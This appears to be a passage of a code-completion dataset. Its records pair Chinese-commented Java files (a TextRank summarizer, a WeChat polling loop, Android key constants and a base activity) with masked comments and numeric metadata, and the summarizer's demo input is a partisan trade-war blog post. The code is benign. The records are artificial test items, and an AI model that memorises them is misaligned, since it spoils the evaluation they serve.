1.0; ++cnt; } for (int _ = 0; _ < max_iter; ++_) { double[] m = new double[D]; double max_diff = 0; for (int i = 0; i < D; ++i) { m[i] = 1 - d; for (int j = 0; j < D; ++j) { if (j == i || weight_sum[j] == 0) continue; m[i] += (d * weight[j][i] / weight_sum[j] * vertex[j]); } double diff = Math.abs(m[i] - vertex[i]); if (diff > max_diff) { max_diff = diff; } } vertex = m; if (max_diff <= min_diff) break; } // 我们来排个序吧 for (int i = 0; i < D; ++i) { top.put(vertex[i], i); } } /** * 获取前几个关键句子 * @param size 要几个 * @return 关键句子的下标 */ public int[] getTopSentence(int size) { Collection<Integer> values = top.values(); size = Math.min(size, values.size()); int[] indexArray = new int[size]; Iterator<Integer> it = values.iterator(); for (int i = 0; i < size; ++i) { indexArray[i] = it.next(); } return indexArray; } /** * 简单的求和 * @param array * @return */ private static double sum(double[] array) { double total = 0; for (double v : array) { total += v; } return total; } public static void main(String[] args) { String document = "新榜连续2年全国公众号总排名前5 欢迎转载,须署名并注明来自占豪微信,否则追究法律责任。 特朗普治国有多随意?4月9日美国美国政治类网络媒体Axios爆出猛料:之前特朗普在中国清明节假期突然宣布要再对1000亿美元中国产品加征关税的相关决定,根本没有与任何幕僚商量,而是自己突然心血来潮拍脑门的结果! 我勒个天!如果美国真的要再对中国追加1000亿美元的商品征税,那不仅仅意味着贸易战的升级,更意味着中美之间的贸易关系将会受到重创,中美贸易战的规模将立刻上升两个量级,非常危险!当今世界,中美关系是世界上最重要的双边关系。美俄斗成那样,世界都没有乱,但如果中美关系进一步因为特朗普的政策严重恶化,那么全世界都将受到严重威胁,这一切都是因为中国经济的规模太大了,中国经济的影响力太大了! 然而,这么大的事,特朗普和任何人都没商量,直接就宣布了! 这家媒体写道:   “白宫里没有召开过哪怕一次会议去探讨这个史上最狠的威胁会有什么好处和坏处,特朗普甚至都没有和他的首席经济顾问库德洛咨询过此事,就直接把他的计划以既定事实的口吻公布了……” 甚至,这件事连白宫幕僚长在事前都没有听说过。由此可见,特朗普施政的随意性和独断性,而这恐怕也是特朗普的重要幕僚一个个辞职的根本原因之一。而从最近的情况看,甚至连他的女儿、女婿都有些噤声了。接下来,相信特朗普的施政还将具有这样的问题,那么大概率还是会有幕僚不断从他的麾下辞职! 然而,现在的问题是,美国接下来怎么办?是继续公布一千亿美元的商品清单?还是对中国进行妥协,放下姿态与中国展开平等互利的谈判?当然,如果美国没有做好向中国出口高科技产品的准备,又有什么资格要求中国在关税上对美国予以照顾呢? 现在,被架在火上烤的是白宫,是特朗普!在没有台阶下的情况下,难道找叙利亚和普京的茬就是好的金蝉脱壳之计吗? 朗普:赶紧坐下吧号主,都被你说中我就没法混了! 点赞、分享,是最好的支持! 占豪系列作品签名版长按二维码订购 战友临走点下方留个手印。如觉文章不错,转发亲朋让大家看到咱的中国立场。 思考者在阅读,点击下面链接查阅 贸易战被中国怼懵了,美国要打击叙利亚普京下令反击! 博鳌中国拱手迎客,却对美迎面一锤,留给特朗普的时间不多了! 外交部狠怼美国一把又亮了!特朗普最新意图在推特曝光! 特朗普突然发推谈贸易战,释放强烈信号! 刚刚,美国软肋彻底暴露!这次中国要狠狠打,把特朗普打回谈判桌! 特朗普再甩千亿,欧日也想捅刀中国?不惜一切代价,打退来犯之敌! 惹毛雄起中国!特朗普,你这次真要“掉得大”! 狠狠打!打出30年经济和平!中国直击美国要害! 贸易战逼中俄联手!中东终于捂不住了,一夜大乱! 中美贸易战,最倒霉的竟是他们,你绝对想不到! 强力实锤反击,中国对美加关税!中国打赢这场贸易战,能得到什么,会损失什么? 中美贸易战,原来有大秘密,中国为何必须打赢? 中国放的这句狠话,美国再听不懂就要出大事了! 中国反击又一重锤!人民币代替美元结算,真是拳拳到肉! 神秘而重磅的访问,他向世界释放7大信号!(文末大福利) 辽宁舰与至少40艘舰南海军演,中国展示势将贸易战打到底的决心! 中国这记重锤,让美国内伤!上海原油期货上市,意义重磅! 中美贸易战,美国必败的3大原因在此! 中国已反击美国!贸易战,中国5招制敌! 中美贸易战背后,是特朗普中东大阴谋! 特朗普炮轰中国,贸易战找错对象,白宫犯三大战略性错误! "; System.out.println(TextRankSummary.getTopSentenceList(document, 3)); } /** * 将文章分割为句子 * @param document * @return */ static List<String> spiltSentence(String document) { List<String> sentences = new ArrayList<String>(); if (document == null) return sentences; for (String line : document.split("[\r\n]")) { line = line.trim(); if (line.length() == 0) continue; for (String sent : line.split("[,,。::“”??!!;;]")) { sent = sent.trim(); if (sent.length() == 0) continue; sentences.add(sent); } } return sentences; } /** * 是否应当将这个term纳入计算,词性属于名词、动词、副词、形容词 * @param term * @return 是否应当 */ public static boolean shouldInclude(Term term) { return CoreStopWordDictionary.shouldInclude(term); } /** * 一句话调用接口 * @param document 目标文档 * @param size 需要的关键句的个数 * @return 关键句列表 */ public static List<String> getTopSentenceList(String document, int size) { List<String> sentenceList = spiltSentence(document); List<List<String>> docs = new ArrayList<List<String>>(); for (String sentence : sentenceList) { List<Term> termList = HanLP.segment(sentence); List<String> wordList = new LinkedList<String>(); for (Term term : termList) { if (shouldInclude(term)) { wordList.add(term.word); } } docs.add(wordList); } TextRankSummary textRankSummary = new TextRankSummary(docs); int[] topSentence = textRankSummary.getTopSentence(size); List<String> resultList = new LinkedList<String>(); for (int i : topSentence) { resultList.add(sentenceList.get(i)); } return resultList; } }
2817748290/gxtj
src/main/java/com/textrank/TextRankSummary.java
2,930
/** * 拆分为[句子[单词]]形式的文档 */
block_comment
zh-cn
package com.textrank; import com.hankcs.hanlp.HanLP; import com.hankcs.hanlp.dictionary.stopword.CoreStopWordDictionary; import com.hankcs.hanlp.seg.common.Term; import java.util.*; /** * TextRank 自动摘要 * @author hankcs */ public class TextRankSummary { /** * 阻尼系数(DampingFactor),一般取值为0.85 */ final double d = 0.85f; /** * 最大迭代次数 */ final int max_iter = 200; final double min_diff = 0.001f; /** * 文档句子的个数 */ int D; /** * 拆分为 <SUF>*/ List<List<String>> docs; /** * 排序后的最终结果 score <-> index */ TreeMap<Double, Integer> top; /** * 句子和其他句子的相关程度 */ double[][] weight; /** * 该句子和其他句子相关程度之和 */ double[] weight_sum; /** * 迭代之后收敛的权重 */ double[] vertex; /** * BM25相似度 */ BM25 bm25; public TextRankSummary(List<List<String>> docs) { this.docs = docs; bm25 = new BM25(docs); D = docs.size(); weight = new double[D][D]; weight_sum = new double[D]; vertex = new double[D]; top = new TreeMap<Double, Integer>(Collections.reverseOrder()); solve(); } private void solve() { int cnt = 0; for (List<String> sentence : docs) { double[] scores = bm25.simAll(sentence); // System.out.println(Arrays.toString(scores)); weight[cnt] = scores; weight_sum[cnt] = sum(scores) - scores[cnt]; // 减掉自己,自己跟自己肯定最相似 vertex[cnt] = 1.0; ++cnt; } for (int _ = 0; _ < max_iter; ++_) { double[] m = new double[D]; double max_diff = 0; for (int i = 0; i < D; ++i) { m[i] = 1 - d; for (int j = 0; j < D; ++j) { if (j == i || weight_sum[j] == 0) continue; m[i] += (d * weight[j][i] / weight_sum[j] * vertex[j]); } double diff = Math.abs(m[i] - vertex[i]); if (diff > max_diff) { max_diff = diff; } } vertex = m; if (max_diff <= min_diff) break; } // 我们来排个序吧 for (int i = 0; i < D; ++i) { top.put(vertex[i], i); } } /** * 获取前几个关键句子 * @param size 要几个 * @return 关键句子的下标 */ public int[] getTopSentence(int size) { Collection<Integer> values = top.values(); size = Math.min(size, values.size()); int[] indexArray = new int[size]; Iterator<Integer> it = values.iterator(); for (int i = 0; i < size; ++i) { indexArray[i] = it.next(); } return indexArray; } /** * 简单的求和 * @param array * @return */ private static double sum(double[] array) { double total = 0; for (double v : array) { total += v; } return total; } public static void main(String[] args) { String document = "新榜连续2年全国公众号总排名前5 欢迎转载,须署名并注明来自占豪微信,否则追究法律责任。 特朗普治国有多随意?4月9日美国美国政治类网络媒体Axios爆出猛料:之前特朗普在中国清明节假期突然宣布要再对1000亿美元中国产品加征关税的相关决定,根本没有与任何幕僚商量,而是自己突然心血来潮拍脑门的结果! 我勒个天!如果美国真的要再对中国追加1000亿美元的商品征税,那不仅仅意味着贸易战的升级,更意味着中美之间的贸易关系将会受到重创,中美贸易战的规模将立刻上升两个量级,非常危险!当今世界,中美关系是世界上最重要的双边关系。美俄斗成那样,世界都没有乱,但如果中美关系进一步因为特朗普的政策严重恶化,那么全世界都将受到严重威胁,这一切都是因为中国经济的规模太大了,中国经济的影响力太大了! 然而,这么大的事,特朗普和任何人都没商量,直接就宣布了! 这家媒体写道:   “白宫里没有召开过哪怕一次会议去探讨这个史上最狠的威胁会有什么好处和坏处,特朗普甚至都没有和他的首席经济顾问库德洛咨询过此事,就直接把他的计划以既定事实的口吻公布了……” 甚至,这件事连白宫幕僚长在事前都没有听说过。由此可见,特朗普施政的随意性和独断性,而这恐怕也是特朗普的重要幕僚一个个辞职的根本原因之一。而从最近的情况看,甚至连他的女儿、女婿都有些噤声了。接下来,相信特朗普的施政还将具有这样的问题,那么大概率还是会有幕僚不断从他的麾下辞职! 然而,现在的问题是,美国接下来怎么办?是继续公布一千亿美元的商品清单?还是对中国进行妥协,放下姿态与中国展开平等互利的谈判?当然,如果美国没有做好向中国出口高科技产品的准备,又有什么资格要求中国在关税上对美国予以照顾呢? 现在,被架在火上烤的是白宫,是特朗普!在没有台阶下的情况下,难道找叙利亚和普京的茬就是好的金蝉脱壳之计吗? 朗普:赶紧坐下吧号主,都被你说中我就没法混了! 点赞、分享,是最好的支持! 占豪系列作品签名版长按二维码订购 战友临走点下方留个手印。如觉文章不错,转发亲朋让大家看到咱的中国立场。 思考者在阅读,点击下面链接查阅 贸易战被中国怼懵了,美国要打击叙利亚普京下令反击! 博鳌中国拱手迎客,却对美迎面一锤,留给特朗普的时间不多了! 外交部狠怼美国一把又亮了!特朗普最新意图在推特曝光! 特朗普突然发推谈贸易战,释放强烈信号! 刚刚,美国软肋彻底暴露!这次中国要狠狠打,把特朗普打回谈判桌! 特朗普再甩千亿,欧日也想捅刀中国?不惜一切代价,打退来犯之敌! 惹毛雄起中国!特朗普,你这次真要“掉得大”! 狠狠打!打出30年经济和平!中国直击美国要害! 贸易战逼中俄联手!中东终于捂不住了,一夜大乱! 中美贸易战,最倒霉的竟是他们,你绝对想不到! 强力实锤反击,中国对美加关税!中国打赢这场贸易战,能得到什么,会损失什么? 中美贸易战,原来有大秘密,中国为何必须打赢? 中国放的这句狠话,美国再听不懂就要出大事了! 中国反击又一重锤!人民币代替美元结算,真是拳拳到肉! 神秘而重磅的访问,他向世界释放7大信号!(文末大福利) 辽宁舰与至少40艘舰南海军演,中国展示势将贸易战打到底的决心! 中国这记重锤,让美国内伤!上海原油期货上市,意义重磅! 中美贸易战,美国必败的3大原因在此! 中国已反击美国!贸易战,中国5招制敌! 中美贸易战背后,是特朗普中东大阴谋! 特朗普炮轰中国,贸易战找错对象,白宫犯三大战略性错误! "; System.out.println(TextRankSummary.getTopSentenceList(document, 3)); } /** * 将文章分割为句子 * @param document * @return */ static List<String> spiltSentence(String document) { List<String> sentences = new ArrayList<String>(); if (document == null) return sentences; for (String line : document.split("[\r\n]")) { line = line.trim(); if (line.length() == 0) continue; for (String sent : line.split("[,,。::“”??!!;;]")) { sent = sent.trim(); if (sent.length() == 0) continue; sentences.add(sent); } } return sentences; } /** * 是否应当将这个term纳入计算,词性属于名词、动词、副词、形容词 * @param term * @return 是否应当 */ public static boolean shouldInclude(Term term) { return CoreStopWordDictionary.shouldInclude(term); } /** * 一句话调用接口 * @param document 目标文档 * @param size 需要的关键句的个数 * @return 关键句列表 */ public static List<String> getTopSentenceList(String document, int size) { List<String> sentenceList = spiltSentence(document); List<List<String>> docs = new ArrayList<List<String>>(); for (String sentence : sentenceList) { List<Term> termList = HanLP.segment(sentence); List<String> wordList = new LinkedList<String>(); for (Term term : termList) { if (shouldInclude(term)) { wordList.add(term.word); } } docs.add(wordList); } TextRankSummary textRankSummary = new TextRankSummary(docs); int[] topSentence = textRankSummary.getTopSentence(size); List<String> resultList = new LinkedList<String>(); for (int i : topSentence) { resultList.add(sentenceList.get(i)); } return resultList; } }
0
2,312
18
2,930
19
2,612
17
2,930
19
4,115
31
false
false
false
false
false
true
9418_1
package io.github.biezhi.wechat.api; import io.github.biezhi.wechat.WeChatBot; import io.github.biezhi.wechat.api.model.SyncCheckRet; import io.github.biezhi.wechat.api.response.WebSyncResponse; import io.github.biezhi.wechat.utils.DateUtils; import lombok.extern.slf4j.Slf4j; import static io.github.biezhi.wechat.api.enums.RetCode.*; /** * 轮训监听消息 * * @author biezhi * @date 2018/1/21 */ @Slf4j public class ChatLoop implements Runnable { private WeChatBot bot; private WeChatApi api; private int retryCount = 0; ChatLoop(WeChatBot bot) { this.bot = bot; this.api = bot.api(); } @Override public void run() { while (bot.isRunning()) { try { SyncCheckRet syncCheckRet = api.syncCheck(); if (syncCheckRet.getRetCode() == UNKNOWN) { log.info("未知状态"); continue; } else if (syncCheckRet.getRetCode() == MOBILE_LOGIN_OUT) { log.info("你在手机上登出了微信,再见"); api.logout(); break; } else if (syncCheckRet.getRetCode() == LOGIN_OTHERWISE) { log.info("你在其他地方登录了 WEB 版微信,再见"); api.logout(); break; } else if (syncCheckRet.getRetCode() == NORMAL) { // 更新最后一次正常检查时间 bot.updateLastCheck(); WebSyncResponse webSyncResponse = api.webSync(); switch (syncCheckRet.getSelector()) { case 2: if (null == webSyncResponse) { break; } bot.addMessages(api.handleMsg(webSyncResponse.getAddMessageList())); break; case 6: log.info("收到疑似红包消息"); break; default: break; } } if (System.currentTimeMillis() - bot.getLastCheckTs() <= 30) { DateUtils.sleep(System.currentTimeMillis() - bot.getLastCheckTs()); } } catch (Exception e) { log.warn(e.getMessage()); retryCount += 1; if (bot.getReceiveRetryCount() < retryCount) { bot.setRunning(false); } else { DateUtils.sleep(1000); } } } } }
282919088/wechat-api
src/main/java/io/github/biezhi/wechat/api/ChatLoop.java
612
// 更新最后一次正常检查时间
line_comment
zh-cn
package io.github.biezhi.wechat.api; import io.github.biezhi.wechat.WeChatBot; import io.github.biezhi.wechat.api.model.SyncCheckRet; import io.github.biezhi.wechat.api.response.WebSyncResponse; import io.github.biezhi.wechat.utils.DateUtils; import lombok.extern.slf4j.Slf4j; import static io.github.biezhi.wechat.api.enums.RetCode.*; /** * 轮训监听消息 * * @author biezhi * @date 2018/1/21 */ @Slf4j public class ChatLoop implements Runnable { private WeChatBot bot; private WeChatApi api; private int retryCount = 0; ChatLoop(WeChatBot bot) { this.bot = bot; this.api = bot.api(); } @Override public void run() { while (bot.isRunning()) { try { SyncCheckRet syncCheckRet = api.syncCheck(); if (syncCheckRet.getRetCode() == UNKNOWN) { log.info("未知状态"); continue; } else if (syncCheckRet.getRetCode() == MOBILE_LOGIN_OUT) { log.info("你在手机上登出了微信,再见"); api.logout(); break; } else if (syncCheckRet.getRetCode() == LOGIN_OTHERWISE) { log.info("你在其他地方登录了 WEB 版微信,再见"); api.logout(); break; } else if (syncCheckRet.getRetCode() == NORMAL) { // 更新 <SUF> bot.updateLastCheck(); WebSyncResponse webSyncResponse = api.webSync(); switch (syncCheckRet.getSelector()) { case 2: if (null == webSyncResponse) { break; } bot.addMessages(api.handleMsg(webSyncResponse.getAddMessageList())); break; case 6: log.info("收到疑似红包消息"); break; default: break; } } if (System.currentTimeMillis() - bot.getLastCheckTs() <= 30) { DateUtils.sleep(System.currentTimeMillis() - bot.getLastCheckTs()); } } catch (Exception e) { log.warn(e.getMessage()); retryCount += 1; if (bot.getReceiveRetryCount() < retryCount) { bot.setRunning(false); } else { DateUtils.sleep(1000); } } } } }
0
528
6
612
7
646
7
612
7
790
16
false
false
false
false
false
true
22655_30
// _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 // 佛曰: // 写字楼里写字间,写字间里程序员; // 程序人员写程序,又拿程序换酒钱。 // 酒醒只在网上坐,酒醉还来网下眠; // 酒醉酒醒日复日,网上网下年复年。 // 但愿老死电脑间,不愿鞠躬老板前; // 奔驰宝马贵者趣,公交自行程序员。 // 别人笑我忒疯癫,我笑自己命太贱; // 不见满街漂亮妹,哪个归得程序员? package com.lb.wecharenglish.global; /** * 项目名称:ysp-android<br> * 作者:IceLee<br> * 邮箱:lb291700351@live.cn<br> * 时间:2016/7/5 20:42<br> * 类描述:程序中使用的键 <br> */ public interface Keys { /** * 是否是第一次运行app的键 */ String Key_IS_FIRST_RUN_APP = "isFirstRunApp"; /** * 页面传递每日一句的键 */ String KEY_ENGLISH_BEAN = "englishBean"; /** * 用户名 */ String USER_NAME = "user_name"; }
291700351/WeCharEnglish
app/src/main/java/com/lb/wecharenglish/global/Keys.java
629
/** * 是否是第一次运行app的键 */
block_comment
zh-cn
// _ooOoo_ // o8888888o // 88" . "88 // (| -_- |) // O\ = /O // ____/`---'\____ // . ' \\| |// `. // / \\||| : |||// \ // / _||||| -:- |||||- \ // | | \\\ - /// | | // | \_| ''\---/'' | | // \ .-\__ `-` ___/-. / // ___`. .' /--.--\ `. . __ // ."" '< `.___\_<|>_/___.' >'"". // | | : `- \`.;`\ _ /`;.`/ - ` : | | // \ \ `-. \_ __\ /__ _/ .-` / / // ======`-.____`-.___\_____/___.-`____.-'====== // `=---=' // // ............................................. // 佛祖镇楼 BUG辟易 // 佛曰: // 写字楼里写字间,写字间里程序员; // 程序人员写程序,又拿程序换酒钱。 // 酒醒只在网上坐,酒醉还来网下眠; // 酒醉酒醒日复日,网上网下年复年。 // 但愿老死电脑间,不愿鞠躬老板前; // 奔驰宝马贵者趣,公交自行程序员。 // 别人笑我忒疯癫,我笑自己命太贱; // 不见满街漂亮妹,哪个归得程序员? package com.lb.wecharenglish.global; /** * 项目名称:ysp-android<br> * 作者:IceLee<br> * 邮箱:lb291700351@live.cn<br> * 时间:2016/7/5 20:42<br> * 类描述:程序中使用的键 <br> */ public interface Keys { /** * 是否是 <SUF>*/ String Key_IS_FIRST_RUN_APP = "isFirstRunApp"; /** * 页面传递每日一句的键 */ String KEY_ENGLISH_BEAN = "englishBean"; /** * 用户名 */ String USER_NAME = "user_name"; }
0
533
13
629
13
563
14
629
13
785
21
false
false
false
false
false
true
44813_5
package com.bit.pedometer.ui.activity; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.graphics.Color; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.FragmentActivity; import android.text.TextUtils; import android.view.KeyEvent; import android.view.View; import android.view.WindowManager; import android.view.inputmethod.InputMethodManager; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.bit.pedometer.R; import com.bit.pedometer.ui.view.MyDialog; /** * Created by Android Studio. author: liyachao Date: 15/5/20 Time: 16:31 */ public abstract class BaseActivity extends FragmentActivity { /** * 自定义的吐司 */ private Toast toast; // /** // * 吐司中显示的文字 // */ // private TextView toastTextView; /** * 使用handler发送吐司 */ private Handler handler = new Handler(); /** * 显示对话框 */ private MyDialog dialog; /** * 现实进度条 */ private ProgressDialog progressDialog; /** * 软键盘管理工具 */ InputMethodManager imm; private Context context; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); init(); setContentView(); initView(); setTitle(); initData(); setEvent(); } /** * 初始化布局 */ protected abstract void setContentView(); /** * 初始化控件 */ protected abstract void initView(); /** * 设置标头 */ protected abstract void setTitle(); /** * 初始化值 */ protected abstract void initData(); /** * 设置事件 */ protected abstract void setEvent(); private void init() { context = this; /** * 初始化吐司和吐司的布局文件 */ // LayoutInflater inflater = LayoutInflater.from(this); // View view = inflater.inflate(R.layout.toast_layout, null); // toastTextView = (TextView) view.findViewById(R.id.toast_text); // toast = new Toast(getApplicationContext()); // toast.setView(view); toast = Toast.makeText(context, "", Toast.LENGTH_SHORT); /** * 初始化进度框 */ progressDialog = new ProgressDialog(this, R.style.ProgressDialog); /** * 初始化软键盘管理工具 */ imm = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE); } protected <T extends View> T getView(int viewId) { View view = findViewById(viewId); return (T) view; } /** * 设置标题栏 * * @param str 标题栏文字 */ protected void setTitleText(String str) { TextView titleText = (TextView) findViewById(R.id.center_title); titleText.setText(str); } /** * 设置标题栏颜色 * * @param colorStr 标题栏颜色 */ protected void setMyTitleColor(String colorStr) { RelativeLayout titleLayout = (RelativeLayout) findViewById(R.id.title_layout); titleLayout.setBackgroundColor(Color.parseColor(colorStr)); } /** * 设置标题栏颜色 * * @param color 标题栏颜色 */ protected void setMyTitleColor(int color) { RelativeLayout titleLayout = (RelativeLayout) findViewById(R.id.title_layout); titleLayout.setBackgroundColor(color); } /** * 显示标题栏左部图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showLeftWithImage(int resId, View.OnClickListener clickListener) { ImageView leftImage = (ImageView) findViewById(R.id.left_title_image); leftImage.setVisibility(View.VISIBLE); leftImage.setImageResource(resId); //设置点击区域 LinearLayout leftClickRange = (LinearLayout) findViewById(R.id.left_title_layout); leftClickRange.setOnClickListener(clickListener); } /** * 显示左部的文字 * * @param str 所要显示的文字 * @param clickListener 点击事件 */ protected void showLeftWithText(String str, View.OnClickListener clickListener) { TextView leftText = (TextView) findViewById(R.id.left_title_text); leftText.setVisibility(View.VISIBLE); leftText.setText(str); //设置点击区域 LinearLayout leftClickRange = (LinearLayout) findViewById(R.id.left_title_layout); leftClickRange.setOnClickListener(clickListener); } /** * 显示标题栏右部图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showRightWithImage(int resId, View.OnClickListener clickListener) { ImageView rightImage = (ImageView) findViewById(R.id.right_title_image); rightImage.setVisibility(View.VISIBLE); rightImage.setImageResource(resId); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示标题栏右部第二个图片 * * @param resId 图片资源的ID * @param clickListener 点击事件 */ protected void showRightWithSecondImage(int resId, View.OnClickListener clickListener) { ImageView rightImage = (ImageView) findViewById(R.id.right_second_title_image); rightImage.setVisibility(View.VISIBLE); rightImage.setImageResource(resId); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_second_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示右部的文字 * * @param str 所要显示的文字 * @param clickListener 点击事件 */ protected void showRightWithText(String str, View.OnClickListener clickListener) { TextView rightText = (TextView) findViewById(R.id.right_title_text); rightText.setVisibility(View.VISIBLE); rightText.setText(str); //设置点击区域 LinearLayout rightClickRange = (LinearLayout) findViewById(R.id.right_title_layout); rightClickRange.setOnClickListener(clickListener); } /** * 显示自定义的Toast,并在有软键盘和没有软键盘弹出时间不相同 * * @param strId 在strings.xml对应的字符串 * @param booleans */ protected void showToast(int strId, boolean[] booleans) { String str = getResources().getString(strId); showToast(str, booleans); } /** * 显示自定义的Toast,并在有软键盘和没有软键盘弹出时间不相同 * * @param str 吐司的内容 * @param booleans 输入框是否有焦点 */ protected void showToast(final String str, final boolean[] booleans) { runOnUiThread(new Runnable() { @Override public void run() { toast.setText(str); // toast.setGravity(Gravity.TOP, 0, dp2px(60)); boolean isAllFocused = false;//是否输入框一个都没有选中 if (booleans != null) { for (boolean b : booleans) { if (b) { isAllFocused = true; break; } } } if (isAllFocused) { closeSoftKeyboard(); handler.postDelayed(new Runnable() { @Override public void run() { toast.show(); // Toast toast = Toast.makeText(context, str, Toast.LENGTH_SHORT); } }, 300); } else { toast.show(); // Toast.makeText(context, str, Toast.LENGTH_SHORT).show(); } } }); } /** * 关闭软键盘 */ protected void closeSoftKeyboard() { if (getCurrentFocus() != null && getCurrentFocus().getWindowToken() != null) { imm.hideSoftInputFromWindow(getCurrentFocus().getWindowToken(), 0); } } /** * 开启软键盘 */ protected void showSoftKeyboard() { imm.toggleSoftInput(0, InputMethodManager.SHOW_FORCED); } protected void showToast(String str) { showToast(str, null); } protected void showToast(int strId) { showToast(strId, null); } /** * 显示进度框 * * @param message 传入显示的文字 */ protected void showProgressDialog(final String message) { runOnUiThread(new Runnable() { @Override public void run() { progressDialog.setMessage(message); progressDialog.setCancelable(false); progressDialog.show(); progressDialog.setOnKeyListener(new DialogInterface.OnKeyListener() { @Override public boolean onKey(DialogInterface dialog, int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && (progressDialog.isShowing())) { progressDialog.dismiss(); return true; } return false; } }); } }); } /** * 显示进度框 * * @param message * @param keyListener 监听点击返回按钮 */ protected void showProgressDialog(final String message, final DialogInterface.OnKeyListener keyListener) { runOnUiThread(new Runnable() { @Override public void run() { progressDialog.setMessage(message); progressDialog.setCancelable(false); progressDialog.show(); progressDialog.setOnKeyListener(keyListener); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final View.OnClickListener sureListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setDialogContent(message); dialog.setMyOnclickListener(new View.OnClickListener() { @Override public void onClick(View v) { dialog.dismiss(); } }, sureListener); dialog.show(); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final String leftButtonStr, final String rightButtonStr, final View.OnClickListener sureListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setButtonText(leftButtonStr, rightButtonStr); dialog.setDialogContent(message); dialog.setMyOnclickListener(new View.OnClickListener() { @Override public void onClick(View v) { dialog.dismiss(); } }, sureListener); dialog.show(); } }); } /** * 现实对话框 * * @param message 输入显示的文字 * @param sureListener 监听事件 */ protected void showDialog(final String message, final View.OnClickListener sureListener , final View.OnClickListener cancelListener) { runOnUiThread(new Runnable() { @Override public void run() { /** * 初始化对话框 */ dialog = new MyDialog(BaseActivity.this, R.style.TransparentDialog); dialog.setCancelable(false); dialog.setDialogTitle("提示"); dialog.setDialogContent(message); dialog.setMyOnclickListener(cancelListener, sureListener); dialog.show(); } }); } /** * 关闭对话框 */ protected void cancelProgressDialog() { if (progressDialog != null && progressDialog.isShowing()) progressDialog.cancel(); } /** * 关闭进度框 */ protected void cancelDialog() { if (dialog != null && dialog.isShowing()) { dialog.dismiss(); } } /** * popupwindow关闭,显示正常 */ protected void onLight() { WindowManager.LayoutParams lp = getWindow().getAttributes(); lp.alpha = 1.0f; getWindow().setAttributes(lp); } /** * popupwindow开启,显示暗色 */ protected void offLight() { WindowManager.LayoutParams lp = getWindow().getAttributes(); lp.alpha = 0.7f; getWindow().setAttributes(lp); } }
296777513/pedometer
pedometer/src/com/bit/pedometer/ui/activity/BaseActivity.java
3,063
/** * 显示对话框 */
block_comment
zh-cn
package com.bit.pedometer.ui.activity; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.graphics.Color; import android.os.Bundle; import android.os.Handler; import android.support.v4.app.FragmentActivity; import android.text.TextUtils; import android.view.KeyEvent; import android.view.View; import android.view.WindowManager; import android.view.inputmethod.InputMethodManager; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.bit.pedometer.R; import com.bit.pedometer.ui.view.MyDialog; /** * Created by Android Studio. author: liyachao Date: 15/5/20 Time: 16:31 */ public abstract class BaseActivity extends FragmentActivity { /** * 自定义的吐司 */ private Toast toast; // /** // * 吐司中显示的文字 // */ // private TextView toastTextView; /** * 使用handler发送吐司 */ private Handler handler = new Handler(); /** * 显示对 <SUF>*/ private MyDialog dialog; /** * 现实进度条 */ private ProgressDialog progressDialog; /** * 软键盘管理工具 */ InputMethodManager imm; private Context context; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); init(); setContentView(); initView(); setTitle(); initData(); setEvent(); } /** * 初始化布局 */ protected abstract void setContentView(); /** * 初始化控件 */ protected abstract void initView(); /** * 设置标头 */ protected abstract void setTitle(); /** * 初始化值 */ protected abstract void initData(); /** * 设置事件 */ protected abstract void setEvent(); private void init() { context = this; /** * 初始化吐司和吐司的布局文件 */ // LayoutInflater inflater = LayoutInflater.from(this); // View view = inflater.inflate(R.layout.toast_layout, null); // toastTextView = (TextView) view.findViewById(R.id.toast_text); // toast = new Toast(getApplicationContext()); // toast.setView(view); toast = Toast.makeText(context, "", Toast.LENGTH_SHORT); /** * 初始化进度框 */ progressDialog = new ProgressDialog(this, R.style.ProgressDialog); /** * 初始化软键盘管理工具 */ imm = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE); } protected <T extends View> T getView(int viewId) { View view = findViewById(viewId); return (T) view; } /** * 设置标题栏 * * @param str 标题栏文字 */ protected void setTitleText(String str) { TextView titleText = (TextView) findViewById(R.id.center_title); titleText.setText(str); } /** * 设置标题栏颜色 * * @param colorStr 标题栏颜色 */ protected void setMyTitleColor(String colorStr) { RelativeLayout titleLayout = (RelativeLayout) findViewById(R.id.title_layout); titleLayout.setBackgroundColor(Color.parseColor(colorStr)); } /** * 设置标题栏颜色 * * @param color 标题栏颜色 */ protected void setMyTitleColor(int color) { RelativeLayout titleLayout = (RelativeLayout) 